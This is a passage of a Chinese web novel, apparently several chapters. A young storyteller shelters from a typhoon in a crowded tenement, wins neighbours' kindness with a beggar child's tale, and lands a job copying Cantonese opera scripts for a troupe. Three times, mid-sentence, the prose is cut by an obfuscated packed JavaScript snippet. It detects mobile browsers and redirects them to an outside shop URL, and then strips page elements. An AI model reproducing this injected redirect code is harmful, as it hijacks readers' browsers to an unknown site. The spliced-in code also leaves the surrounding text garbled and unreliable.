此时听着一个半大的少年绘声绘色地讲着故事,众看客都十分新鲜。 听故事的人越聚越多,楼梯上站不下了,就站到楼下,就连楼上都站满了人。 这些人里面,大部分都有着与狗娃相似的背景,他们都是背井离乡,来维岛逃难的。 异乡异地讨生活的艰辛,他们每个人都感同身受。但是他们好歹是成年人,能住进唐楼,至少说明他们也是找到了活路的,再怎么样也比流落街头,靠乞讨为生的一个孩子强。 听着听着,人群中有几个婶婶便已经开始抹眼泪了。 “这孩子太可怜了。” “是啊,造孽啊。” “没娘的孩子真的太苦了。” “…………” 言少微注意到观众的反应,知道故事已经勾住了人,但是她不想一味卖惨。 因为狗娃自己就不觉得自己很惨。 狗娃是个乐观的孩子,她看到骑楼底下每天都有尸体被抬走,看到无数跟她一样的孩子饿死街头,她觉得自己还能活着,一定是老天特别喜欢她,特别眷顾她的缘故。 她虽然年纪小,但是她记得,哥哥说了,他们的娘就在维岛,她一定能找到娘的! 言少微没有唱,也没有学讲古佬那种评书式的腔调,完全是用大白话讲的,却把狗娃的神态动作学得活灵活现的,特别是当狗娃捧着又冷又馊的食物,却扬起一脸幸福的笑容,仿佛手中捧着的是什么饕餮珍馐的时候,围观的看客也不禁心中动容。 “这是个好孩子啊。” “太招人疼了。” “阴公咯!” “…………” 言少微又讲到台风天,狗娃讨不到钱,又没钱租台风位,只能蜷缩在骑楼底下。 可寻常的风雨骑楼可以挡一挡,台风那样的大风雨,就是躲在骑楼下面也没用。 狗娃很快就浑身都被雨打湿了,她冷得不得了,她想要躲到骑楼的楼梯下面去,那里至少淋不到雨,可是那里是有“主”的,她没有钱去换取一个那样的位置。 言少微说着,抱着自己的双臂,做出很冷的姿势。 那几个租了台风位的人也在听言少微讲故事,他们原本觉得自己已经非常惨了,今天没有找到活路,还平白花出去一天的口粮钱,但是此时一听狗娃的故事,忽然觉得自己已经很幸福了。 “狗娃会不会死?”人群中忽然有人问道。 在这里的谁不知道,台风天待在外面,是真的可能会死的,而故事的主人公,还是个那么小的孩子! “是呀!那么大的风!”有人扭头去看大门,狂风一下一下撞击着唐楼的门,把门撞得嘎吱乱响。 就是他们这些大人,都没有勇气在这个天气走出去的! 8. 乞儿狗娃 “就在这个时候,一阵狂风吹过来,竟把狗娃从骑楼底下吹了出去……”言少微适时在火上又浇了一瓢油。 “是得吹出去,狗娃瘦得跟皮包骨一样,哪里顶得住打风。”有人说。 “这可怎么办?谁来帮帮狗娃?”楼梯上有个小青年急得跺脚。 言少微就感觉自己的脚下也在颤动。 有个坐在楼梯上的连连拍着大腿:“完了完了!狗娃一定没命了!” “后来呢?狗娃怎么样了?”众看客开始催着言少微讲下去。 言少微却连连叹气,一副不忍再说的样子。 她如果是在外面讲故事,围拢过来的看客自然知道她这是在卖艺,可是她在这里面讲,大家一开始都当她在聊闲天。 此时见她这个模样,有人反应过来,拿出一仙两仙的,塞到言少微的手上。 也有人看言少微自己都是个孩子,又把狗娃的故事讲得那么惟妙惟肖,那些细节也好像真的一样,便以为她其实就是狗娃,一时生了恻隐,也摸出一仙两仙的,往她手上塞。 这个时候冯望舒与言柳宿已经洗完衣服过来了,他们原本是要先去还盆子和肥皂的,听见言少微讲故事,也就跑到她身边听着。 言少微干脆把手里的钱都塞给冯望舒,让她数,自己继续专注讲故事: “也是狗娃命不该绝,她被风卷到街上,竟然直接撞到了一户人家的门口。狗娃死死地扒住突出来的窗沿。这时候,门开了一条小缝,门里伸出来一只黝黑粗壮的手,将狗娃一把抓了进去……” 人群中传来惊呼。所有人的心都揪起来了,这忽然出手的,是好人还是坏人?是想要帮助狗娃还是有别的想头? 言少微继续说:“开门的,是这家的女主人,她早年死了丈夫,靠着帮人洗衣服拉扯两个孩子。” 那好心的婶子,无法眼见着一个跟自己孩子差不多大的孩子被台风吹走,便伸手将狗娃拽了进来。 不光如此,这个婶子还给了狗娃一碗热腾腾的粥。 这是自从哥哥死后,狗娃吃到的第一顿没有馊的食物,还是热的! 她激动地给好心的婶子磕了个头,才迫不及待地把那碗粥一口气喝了。 但她不知道,那碗粥其实是这婶子的口粮,她喝了,婶子今晚便只能饿着肚子睡觉了。 跟言少微隔着三个人的一个婶子听了,红着眼眶说:“如果是我,我也会给她一口吃的,我饿一顿,能救一条命,值了!” 人群中有人附和:“都是苦命人,能帮就帮一把。” “那婶子也不容易,死了男人,自己一个人拉扯两个娃,还有这善心。” “…………” 言少微那天讲了一个多小时,后来见收不上来钱了,便停了下来。 她不讲了,人群还不肯散,都追着她问后面的情节,言少微没奈何,带着两个小家伙躲回了他们的隔间。 回去一点数,拢共挣了两豪八。 言少微叹了一声,这里的住户实在都不是有钱人,而且在室内讲故事,不像街头,能不断吸引新的看客,一般看客给过一次钱后,就不愿意给第二次了,所以赚得不多,也是很正常的。 在这里讲故事,实在不是什么好选择。 但是言少微也不是毫无收获,她在讲故事的途中,一直观察看客的反应,也根据他们的反馈,调整了一下故事的走向。 等着人群散得差不多了,她便又带着纸笔跑到楼道上,找了个位置开始写她的小说了。 之前讲过一遍,整个故事成竹在胸,言少微写起来就非常流畅。 可惜条件所限,她只能蹲在楼梯上写字,姿势别扭,到底还是写不快。 好不容易写了一千字,脖子已经酸得简直要断掉了,肚子也开始咕咕叫了起来。她干脆收起了稿子,重新回了屋里。 冯望舒把三个人的衣服都晾在了自己的铺位上面,她没地方呆,就爬到了言柳宿的床上,跟他一起也不知道在玩儿什么,此时见言少微进来,就迎过来:“大佬!” 言少微笑问:“饿了吗?” 两个小家伙猛猛点头。 “成,大佬想办法去找点吃的。”言少微说着,心头盘算着一会儿出去问问,谁家有干粮,她买一点来。 言柳宿一听就高兴了,唯有冯望舒有些发愁,她知道言少微刚才挣了多少,她又听说台风一刮就是好几天,这几天他们大概都不会有多少进账了,但是吃饭的钱却根本省不了。 “大佬,咱们要是钱花光了,台风还没走怎么办?” 她这一说,言柳宿也意识到了这个问题,一张小脸跟着垮下来,愁兮兮地把言少微望着。 言少微冲他们笑笑:“不怕,办法总是有的。” ……就是还没想到。 不过不管怎么样,言少微还真就不相信自己能饿死在这里。 两个小家伙对言少微的话向来从不怀疑,两张小脸当即雨过天晴,唯有对过那个婶子有些感触地看了言少微一眼,心道,这姑娘自己都还是个孩子,就会哄弟弟妹妹了。 ——因为昨天要进女浴的缘故,言少微并没有在这里掩饰自己的性别。 见言少微要出门去找吃的,那婶子操着一口湖南口音就开口了: “细伢子,我家回头也要做饭,你们跟我们一起吃吧?” 唐楼是有公共厨房的,大部分租户都会选择自己做饭,比在外面吃肯定要省不少的。 那婶子刚刚也去听了言少微讲故事,回来一看屋里这三个小娃也没个父母长辈看顾,倒是把他们都当成了那个可怜的狗娃。 那婶子说着站起来,从床底下拉出来一只大锅,一手端着,另一手来拉冯望舒,“走,跟婶子去厨房。” 冯望舒有些无措地看向言少微,见大姐点了点头,她这才肯跟着那婶子出去。 小望舒还很主动地要帮那婶子拿锅:“阿婶,我来帮你吧。” “这锅里装满了的,你一个细伢子拿不动的。”那婶子拒绝了。 言少微揽着言柳宿的肩头,也跟着一起走了出去。 唐楼的所谓厨房,其实就是在走廊上放了几个烧煤球的灶。 这一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698934|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼少说也挤了几十户人家,但是灶只有五个。每到饭点,抢灶台的场面那叫一个激烈。 言少微刚刚在楼梯上写文,都听到有人因为抢灶台而吵架。 所幸现在已经晚上九点将近十点了,大部分人都做完饭了。走廊上就还剩下几家人了。 湖南婶子刚切好食材就轮上了一个灶。 还在做饭的那几家人倒也是听过言少微讲故事的,此时看到他们姊妹三个过来,都比较热情。 “你们没在厨房做过饭吧?”有人问言少微,“有碗筷吗?” 言少微刚说了个没有,手里便被塞了个空碗。 “我这里有多的,你先用着。”一个大叔说。 言少微还没来得及道谢,冯望舒与言柳宿也被一人塞了副碗筷。 “来尝尝我家的烧萝卜吧!”一个阿婶用大汤勺舀着满满一勺萝卜就递过来了,言少微连忙用碗去接。 “尝尝我家的炖豆腐!” “我这里有咸酸菜,来一点吧!” “我家这个炒菜心好吃,是用猪油渣煮的!来尝尝!” “…………” 说要请他们吃饭的湖南婶子还没炒完菜,一看他们姊妹三人每人碗里都被塞得满满当当的,急得炒菜的速度都快了几倍。 他们三个自从登岛,遇见的都是各种冷眼与黑暗,甚至去报社的时候,还曾经差点被当成乞丐赶出来,又何曾遇到过这样的善意,言少微跟冯望舒年龄稍大一点还好,言柳宿已经开始掉眼泪了。 “哎呦,这孩子哭什么,这碗端稳了。”有个婶子揽住了言柳宿,哄了两句,又让他坐在楼梯上捧着碗吃,免得弄倒了。 言少微深呼吸了一口气,将心中涌动的那股酸酸的东西压了回去,开始吃自己碗里的食物。 这东一筷子西一勺的,她碗里其实早就蹿了味,但是她吃起来却觉得是真香。 …… 台风一直刮了三天。 言少微发现,有些租户还是会顶着风雨出门上工。但是她自然是不会出门的,就是她出去了,也没人会站在风雨里听他讲故事。 这三天她一直蹲在楼梯上蹭电灯,写狗娃的故事。每天也会给租户讲一讲她写的故事,这次她就不收钱了,毕竟每到饭点他们就能蹭到百家饭,吃得比他们在外面还饱。 到了第四天,台风终于停了,众租户都出去挣钱了,言少微昨晚趁着夜深人寂没人来打扰,熬夜多写了会儿文,一觉醒来,已经将近中午,整个唐楼大半都空了。 言少微便也打算带着两个小家伙出门,她几天没进账了,再不出门赚钱,她心里也慌。 一场台风,她就三日没开张。夏天雨水又多,这么一来,收入未免太不稳定了。 言少微边走就边在琢磨,这时候,如果能找个能固定发工资的工作就好了。但这又谈何容易呢。 这几天她时常跟邻里邻居聊天,也知道了他们大部分是靠什么为生,有给码头搬货的,有在街头给人擦鞋的,也有在街边开档的…… 都是看天吃饭,能稳定拿工资的,基本上是没有。 9. 后台蹭饭 言少微带着两个小家伙,跑到天井简单洗漱了一下—— 牙刷是她搬进来前就买好的,不过没买洗脸帕,用水冲冲脸后,她和言柳宿都是直接把脸甩干,也就是冯望舒稍微讲究一点,会用袖子擦擦脸。 姊妹三人刚把自己简单打理干净,正重新往楼上走,忽然看到两个眼熟的身影出现在唐楼门口。 其中一个光头正在跟出来的租户打听:“劳驾,我找个人,你们这里有没有三个小孩一起的?” “三个小孩?”三姊妹并不常见,那人一下子就反应过来,“你说那个很会讲故事的小孩吗?” “对对对!就是他!” “你们找我?”言少微认出来人,忙迎了上去。 来人正是陆剑铮跟季北鸿。 季北鸿一看到他就露出一个灿烂的笑脸:“还好你们没出门。” 陆剑铮一看到她,也笑起来,适才他没有笑的时候,显得眉眼很凌厉,一笑起来,笑容却很温和。 “是准备出门来着。两位来找我是有什么事情吗?”言少微也忍不住笑起来。 季北鸿伸手勾住她的脖子:“你忘了,说好的请你们去看戏呀!” “当真?”言少微闻言眼睛一亮,她能亲眼看到上世纪最红的文武生和最厉害的武生的现场了? 但是言少微又有些犹豫:“戏票很贵吧?” 季北鸿就做了个叉腰的姿势,得意地笑起来:“放心,跟着我们进去,不要钱!” 他说着就伸手揽过言少微的肩头:“走啦走啦。你在唐楼也讲故事了吗?讲了什么故事?也讲给我听听呗?” 陆剑铮看着被强行拉走的言少微,有些无奈地摇了摇头,他转头问两个拿着牙刷一脸懵逼的小的:“你们的牙刷要回去放好吗?” 冯望舒先反应过来,她摇了摇头,迅速把三人的牙刷收集起来,揣进了随身背着的包袱里面。 ——他们早就习惯了所有物品随身携带。 陆剑铮见两个小家伙装好东西,招手示意他们跟上。 到戏园子的时候,差不多该是吃饭时间了,言少微提出要请他们两个吃顿饭,季北鸿却根本不答应,直接拽着言少微就进去了。 “戏园好像还没开演……”言少微路过戏园子大门口的时候,匆匆瞄了一眼水牌。怎么好像没有陆剑铮和季北鸿的名字? “正是要没开演的时候进去。”季北鸿大踏步往里走。 作为一个资深戏迷来讲,能亲自进入后台,还是上世纪四十年代的剧院后台,那简直是做梦都不敢想的事情,言少微跟着季北鸿进去的时候,一颗心啵啵啵地跳个不停。 上世纪四五十年代是粤剧的黄金时代,留下了无数经典的唱段,直到新世纪依旧为人们所熟知。 她现在就要进入这个创造过辉煌的场所了! 言少微怀着崇敬的心态,庄严地踏入了那道门。 然后就傻眼了。 她没有感受到什么艺术的熏陶,反而闻道了一股浓浓的饭香…… 几十个人端着饭碗,有人蹲地上,有人坐箱子上,都在奋力扒饭。 也有吃好了,在忙自己的活计的,一抬头,看到他们进来就嚷了一嗓子:“鸿仔,再不回来没饭吃了!” “来了来了!”季北鸿拉着言少微,“一起吃啦,吃完开台饭,下午请你们看戏。” 于是,言少微戏还没看到,就先蹭了一顿饭。 饭是碟头饭,饭里面还卧了一块叉烧。 言少微他们三个这几天虽然天天蹭百家饭,蹭得肚满肠圆,但是还真没能吃到肉,此时抱着饭碗,吃得那叫一个香。 吃完饭,陆剑铮他们就要去换衣上妆。 言少微哪肯放过这个近距离观摩的机会,跟着就去了。 也就是到这个时候,她才知道不论是陆剑铮还是季北鸿,此时资历都还尚浅,还不是后世那个让戏迷追捧的大佬倌。 陆剑铮现在是一个小武,还没有转行文武生。 ——粤剧六大台柱当中,文武生集文戏与武戏于一身,是台上的男性灵魂人物,而小武则负责扮演武戏为主的年轻勇猛的男性角色。 而季北鸿这个时候还是个“拉扯”,即在台上负责拉来扯去的龙套角色。 但不管怎么说,这也是真实的戏班后台! 言少微有点像耗子掉进满汉全席,满眼都是美味佳肴,简直不知道该从哪里开始。 她想一想,到底不好意思去打扰别人,便先看季北鸿上妆。 下栏(群角演员)的妆台跟六柱(六个核心行当)的妆台没在一起。 她看完季北鸿,又想起陆剑铮,便急匆匆去找陆剑铮。 此时陆剑铮正在穿戏服,听见动静,就转过头来。 言少微正东张西望,正对上陆剑铮的视线。 陆剑铮已经画完了面部的妆容,他浓黑的眉毛斜飞入鬓,英气勃发,整张脸是画成红面的,鼻梁又用白色油彩提亮,令他本就深邃的五官更显得立体。 言少微曾经想象过陆剑铮妆后的样子,能风靡香江两岸的伶王,必然是很英俊的,但是真正看到了这一刻,言少微的心跳直接漏跳了半拍。 如果陆剑铮有高清照片流传下来,就靠这张脸,怕就能在后世圈粉无数。 见言少微直愣愣地看着自己,陆剑铮轻声唤了她一句:“微仔?” 言少微回过神来,笑着说:“我差点没认出来你。” “上了妆是有些不容易认。”陆剑铮继续穿他的戏服。 言少微毫不客气地在旁看着陆剑铮穿彩裤、高靴……然后在上身的水衣外面,又包了一件……棉衣! 言少微瞪大了眼睛,这么热的天,棉衣?! 虽然是很薄的棉衣,但那也是棉衣啊! “这个就非得穿吗?”言少微震惊了。 陆剑铮背对着言少微正在系带,听到她问,回答说:“其他行当可以不穿,我们武行是非穿不可的。” 言少微以为是因为小武要用棉衣撑得魁梧些才好看,然而当她当真看到陆剑铮在台上的表演后,才知道自己想错了。 下午戏班开演后,言少微就待在虎度门(上场门)边,眼睛盯着台上的表演,紧张到眨都不曾眨一下。 原因无他,她刚刚看到陆剑铮上场的时候,手里拿的兵刃根本不是道具,而是真钢刀! 不光是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698935|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,台上所有武将、士兵拿的刀枪剑戟都是真家伙! 而且他们拿着真家伙,居然还是真打! 言少微在虎度门口看得简直心惊胆战的,生怕一不小心会看到血溅三尺台的场面。 幸好直到陆剑铮他们下场,也没有出现任何意外。 “如何?”季北鸿抓着长枪,得意洋洋地问言少微。 言少微佩服地说:“你们竟然是真的打。” ——有个说法是说咏春拳的雏形就是从粤剧武行里面发展出来的,这些武行演员是有真功夫的。 “观众要看的就是打真军,哪能打假的。”季北鸿说。 他们说着,那边陆剑铮已经开始脱戏服。 外面的戏服一脱,言少微留意到那件棉衣早就被汗水湿透了。 她正感慨武行不易,忽然看到这几个武行脱掉棉衣后,又开始脱贴身穿着的水衣、水裤了,她惊了一下,抛下一句“我去看看我家那两个细路仔跑哪里去了”,就慌忙避了出去。 此时台前在演,后台也忙忙碌碌,没人关注到言少微这个闲人。 她没好意思盯着正在忙碌的演职人员看,怕影响人家做事,自己贴着墙角走,差点撞上墙上钉着的一个神龛。 言少微险险顿住脚步,抬头一看,神龛上面供着三尊神位,从左到右分别是田窦二师、华光先师,张骞先师。 她正琢磨这几位是谁,就听到一旁帘布后传来一个着急的声音:“恭叔这个时候撂挑子,剩下这么多曲本谁来抄!下个礼拜就要上新戏了,曲本都不够发到每个人的手上!还做什么戏!” “我去外面请人回来抄曲本吧。”另一个年轻的声音讲。 “临时临急,哪里找得到合适的人。” 言少微一听就知道是怎么回事了,她记得阿婆说过,这个时代粤剧不同于京剧。京剧那边是经典戏目反复表演,观众看得乐此不疲。 但是这边的观众比较喜新厌旧,一个戏唱个一个礼拜,观众就不买账了,戏班就得上新的戏目。新戏目自然是新剧本,那时候又没有复印机,需求量小去印刷又不划算,所以戏班大都养着专门的抄曲师傅来抄曲本。 里面的人还在说话:“那要不然我去靓伯那边借人?” “他会好心帮我们?不趁机嘲笑我们就不错了。” 就在屋中有些愁云惨淡的时候,他们身后的帘子被人一把掀开,一个脑袋探了进来: “我可以帮你们抄呀!” 屋中两人愕然回头。 言少微走进去,挤出一个笑容:“我认识字的,写字也快,抄曲我没问题的。” 她边说话边打量,已经认出了那两人中年纪稍大的那个。 那是三四十年代红极一时,被后辈称作粤剧一代宗师的文武生白千声。 此时的白千声年约四旬,模样英俊,就是刚刚那一回头的姿势便尽显潇洒风流。 两人中年轻的那个蹙了蹙眉:“你是谁?后台重地谁准你进来的?” 言少微回神,忙解释了一下。 白千声便笑起来,语气和蔼:“原来是阿铮同鸿仔的朋友仔。你的好意我心领了,但是抄曲不是识字就可以的。” 10. 抄曲师傅 言少微点点头,十分认同:“抄曲当然不是识字就可以的,工尺谱同那些板眼符号如果不认识,标错了就很麻烦。” 工尺谱其实就是乐谱,不过是以“合、士、乙、上、尺、工、反、六、五、乙”等字符来标注的。 而板眼符号是用“、”、“x”、“o”等符号标注在工尺谱上,用以标注强弱节拍与重音位置。 这里的学问也大有讲究,光是这个眼就分头眼、中眼、末眼。组合起来,有一板一眼、一板三眼、有板无眼……所谓变化多多。 言少微从小就陪阿婆唱粤曲,还不大认字的时候,就会看工尺谱了,认谱对她来讲,不是什么难事。 她简单讲了一下自己对工尺谱的了解,见白千声要说什么,言少微生怕他拒绝,忙又继续说: “梆黄板式我也很熟悉的,比如【慢板】是一板三眼,即嗒叮叮叮、【中板】是一板一眼,即嗒叮|嗒叮、【滚花】是……” 所谓板式就是曲调中的节奏节拍。 言少微说一个板式,便会用手打着节拍,嘴里也念念有词。 这用手打节拍,手势也是有讲究的,跟音乐的打拍子还颇不一样,“板”是以手掌轻拍,而“眼”则是用手指轻点,其中头眼、中眼、末眼又要区分不同的手指。 白千声与他身后那人都是行家,这一听之下,后面那年轻人低声对白千声说:“板眼一点没错,看起来他真的懂。” “你也是从小学戏的?”白千声做了个手势,示意言少微停。 言少微说:“家里老人喜欢大戏,我从小耳濡目染,也学了点皮毛。” “原来是家传。”白千声点了点头。 言少微见对方态度松动,忙又说:“如果白班主不放心,我可以抄一份给班主看看,班主觉得好再用我。” 白千声点头:“那就先抄一套试试看。” 他说着给背后的年轻人做个手势,那人便拿来一套曲本跟一沓白纸与笔墨交到言少微手上。 白千声说:“呐,我这里抄曲呢,速度一定要快,词曲也一定要准,不能出错……” 正说着,便有人来催白千声上妆:“班主,时间差不多了。” “你先抄抄看吧。”白千声说完便离开了。 言少微等两人一走,便忙不迭找个板凳坐下,翻看起手中的曲本来。 看过之后她有些失望,手上这本戏,不论是唱词还是故事实在是难以说得上精彩,甚至于还有些粗糙,完全比不上她听过的那些经典粤剧。 但其实这也是很合理的,这个时代的确有层出不穷的新戏出来,但是大浪淘沙,能流传到七八十年后的粤剧,只是里面最顶尖的那一部分。剩下被湮灭在时代洪流中的,必然是有各种各样的问题的。 就好像言少微手中这本《苦凤叹》,情节就非常拖沓,有好几幕在言少微看来,完全是可以直接砍掉的。 言少微一边迅速翻看,一边职业病就犯了,她已经开始在脑子里面设计,如果是自己来写这个故事,会如何安排情节。 当然,现在不是给这本戏挑错的时候,言少微翻了一翻,就开始抄写了。 她自从上了大学后,就没怎么摸过笔了,就是码字也是用的电脑,幸好这几日写那本狗娃的故事的时候,练了练字,倒也不觉生疏,只管刷刷刷地写个不停。 期间,冯望舒跟言柳宿不知道哪里玩儿了一转,找到了她这里。她让两个孩子别打扰自己,那两个孩子便乖乖地蹲在一边,不吵也不闹。 后来陆剑铮和季北鸿也找了过来,言少微没空搭理他们,依旧埋头抄曲。 陆剑铮也没打扰她,在旁边看了看她写字,只是季北鸿一惊一乍,对于言少微会抄曲这个事情非常惊讶,咋咋呼呼要说什么,被陆剑铮给拽出去了。 白千声下台的时候,陆剑铮就等在虎度门边。 “师父。” 白千声应了一声,往自己的妆台走去:“什么事?” “我们是不是要招新的抄曲师傅?” “恭叔一走,就只剩下财叔一个人,抄不及的,是得招一个,”白千声笑着问,“你想让我招你那个朋友仔?” 陆剑铮说了说言少微的情况:“如果他能做事的话,要不就留下他吧?” 白千声点头:“那细佬哥也不容易,自己都还是个细路,还带着两个小家伙,同你当年……” 陆剑铮面上掠过一抹哀伤,垂眸没有说话。 白千声见徒弟这个样子,没再说下去,只是拍拍他的肩膀以做安慰:“现在这个世道,揾食艰难呐。也罢,只要他当真能抄曲,就是抄得慢一些,也无妨。” “唔该师父!”陆剑铮抬起头来,露出一丝笑意。 师徒俩说着,走进了休息间。 “如何?抄得还顺利吗?”白千声朝着言少微走过去。 言少微听见是白千声的声音,便放下笔站了起来,她将抄好的纸张垒在一起,双手递给白千声:“这是一份。” 这本《苦凤叹》是个短篇剧目,大约有六千字。 白千声这一趟出去又进来,约莫有三个多小时的时间,他想着按照班里另外一个师傅的速度砍一半,言少微能抄个三千字就不错了,此时一翻,有些惊讶:“你抄完了?” 他正看着,言少微将剩下一沓递给陆剑铮:“这个是第二份,还差两个唱段就抄完了。” 她竟抄了两份! 白千声一听说言少微这么快,惊讶之余有些不悦,他之前也用过一味图快的抄曲师傅,快是快了,却是错误百出。他下意识地便以为言少微少年心性,怕也是这样的。 但是看在徒弟的份上,他打算容忍言少微一些,只要不超过四个……算了,只要不超过六个错误,他就能接受这个人。 然而他手上翻着那叠纸,却发现手中的稿子字迹工整,没有着急赶工导致的字迹潦草。而他从头翻到尾,只看到工尺谱抄得标准,板眼标注准确,就连介口(标注演员动作)口白的地方都毫无差错。 “你以前做过抄写的工作?”就连陆剑铮都有些惊讶。 “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698936|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,第一次做。”言少微没说谎,她最多帮她阿婆用大字抄过几篇工尺谱,算不得有经验。 但她可是文科生,当年备战高考的时候,写过的卷子能堆成山,文科的卷子,哪张不是密密麻麻写满了字的,还要写得又快又整齐,速度她早就练出来了,那时候不光要写,还得动脑,眼下只是抄写,对她来讲,已经是十分轻松了。 “言生,”白千声正色,“我想正式请你做我们嘤其鸣剧团的抄曲师傅,开工日包两餐饭,一个月我给你八十蚊的人工(工资),你看如何?” 言少微心中大喜,她刚刚是偷偷跟季北鸿打听过的,在戏班做抄曲师傅,新手最多能赚四十蚊一个月,资深的师傅能拿六十到一百五,她一个毫无经验的新人,能拿到这个数,定然是白千声看在陆剑铮和季北鸿的面子上,给她的特别照顾了。 这个工作不用风吹日晒,就算是打风落雨,她也不用愁无钱进账。 而且戏班也不是天天都有曲本让她抄的,没有事情做的时候,她还可以写写她的小说。这里写字的环境可比唐楼的楼梯好多了! 言少微当下便应下了这份工作:“我今日就可以开工!” 她到底还是没有告诉白千声他们,自己其实是女仔,因为在她的印象里面,维岛哪怕到了新世纪,也是一个封建与新潮并存的社会,那时候有些哪怕在政|府部门任职的女性,都要在名字前面加上夫姓。 她刚才探过季北鸿的口风,抄曲师傅都是男的,她可不敢冒着丢掉这个来之不易的工作的风险,去试探白千声有没有封建思想。 白千声是戏班最大的角儿,台上的戏份数他最多,刚跟言少微说完,便又快轮到他上台了,便出去了。 言少微感激地对陆剑铮说:“这次我能得到这份工,要多谢你了。” 陆剑铮摇摇头:“哪里是我的功劳,我师父那个人,只看真才实学的,你能得到这份工,靠的是你自己的本事。” 言少微还要谢,陆剑铮却说:“我也要上台了,你继续抄吧。”说着便也掀帘子走出去了。 人一走,冯望舒就走过来,又惊喜,又忐忑地问言少微:“大佬,你真的有工做了?” “是呀,”言少微也有些激动,“咱们再也不用饿肚子了。” 言柳宿听懂了她们的话,开心得要跳起来,被言少微一巴掌按下去:“后台不得喧哗!” 小柳宿便不敢出声了。 “大佬,我能看看吗?”冯望舒指指桌上的曲本。 言少微点点头:“别弄乱了就行。” 他们在家乡的时候,也是上过几天私塾的。不过冯望舒上学的日子短,字认得不全。 果然她看了一下,发现看不大懂,就把曲本放了回去,带着言柳宿跑到一边玩儿去了。 两个孩子也懂事,愣是一直没有发出任何声音。 言少微抄写到天快黑了,又在戏班蹭了一顿饭,才在陆剑铮的催促下,带着两个小家伙往租住的唐楼赶。 而这个时候,戏班的夜场戏其实才刚开始。 11. 新版戏词 从第二天开始,言少微就开始她的正式抄曲生涯。 她没再带两个小家伙,而是跟对过床位的湖南婶子商量好,每天给她一蚊鸡,让两个小家伙跟她搭伙吃饭。 一蚊在外面只能买一份带肉的碟头饭,但如果自己开火的话,一蚊足够两个小家伙吃得很好了。 言少微兜里其实也不剩几蚊了,不过她听季北鸿说了,还有几天就是出粮日(发薪日),她算算,觉得应该能撑到那个时间,实在是撑不到,跟湖南婶子赊两天账,或者找季北鸿借两蚊鸡,都不是什么问题。 言少微这次就没有待在白千声的休息室抄曲了,后台有个专门的房间给抄曲师傅写字用。 那个屋子不大,放下几张桌子后,便没有什么多余的空间了。但是言少微很满意,这里的墙壁是实实在在的砖砌的!能隔绝外界大部分的嘈杂。 更重要的是这里还有电灯,光照条件比唐楼好太多了。 她一来,就看到屋里有个大约五六十岁的师傅正在伏案抄写。她走过去打招呼:“这位是财叔吧?我是新来抄曲的言少微,请多多指教。” 财叔头都不抬:“自己找个位置坐。” “哦,好。”言少微并不介意对方的冷淡,便随便找了个位置,开始抄写自己的。 写着写着,她忽然停了下来,昨天她抄写的时候,为了给白千声一个好印象,只是闷头写,并没有想太多,今天因为已经熟悉了内容,边写她就一边跟着谱在心底轻哼,这一哼就发现,词跟曲之间,并不如何和谐,唱起来有些拗口。 ……如果能改改就好了。 言少微有点手痒,她从第一眼看到这个曲本就想吐槽了,就算大的方向已经定了,不能改了,改个一两句词应该没问题吧? 她抬头问财叔:“财叔啊,我想请教一下,如果咱们抄曲的时候,发现有什么不对的地方,能改吗?” “不对的地方?”财叔听她这么说,终于舍得抬头,他扭头上下打量言少微一眼,“后生仔,教你一句,未学跑,先学走,什么都不会,就想给开戏师爷挑刺?” 开戏师爷就是戏班的编剧。 言少微觉得财叔对自己的敌意简直莫名其妙,她正色说:“话不是这么讲的,这唱词平仄都没对,语义也不通顺,怎么就不能改了?” “你有本事你就改。”财叔转回了头。 他今天一来就听说剧团请了位新的抄曲师傅跟自己搭档,他本来还很高兴,觉得自己不用一个人抗下所有的工作,谁知又听到有人八卦说新人的人工是八十蚊,他给嘤其鸣抄了几年曲,也不过六十蚊。一个新人凭什么比他还高? 言少微没从老前辈那里得到什么有用的建议,索性就打算按照自己的想法写一版唱词出来。 写着写着,就到了中午放饭的时间,言少微正写到兴头上,根本不肯放笔,财叔吃完饭回来了,她还在写。 财叔一看言少微的姿势,就知道她根本不是在抄曲,而是在写自己的,忍不住哼唧一声:“真是不知道死字是怎么写的,开戏师爷的刺也敢挑。” 言少微才懒得管他,只是埋头唰唰唰地写。 财叔自觉无趣,便坐回去写他自己的了,他听说这个新人抄得快,他不能叫新人比下去了。 “微仔?”一个光头从门缝外面探出头来,“你没去吃饭呐?” “等会儿去。”言少微头也没抬。 “再不去没吃的了。”季北鸿走过来,想拉她起来,忽然发现她的姿态没对。 抄写不是应该看一句写一句吗?为什么言少微一直埋头写自己的? “你在写什么?”季北鸿问。 “我在改词。” 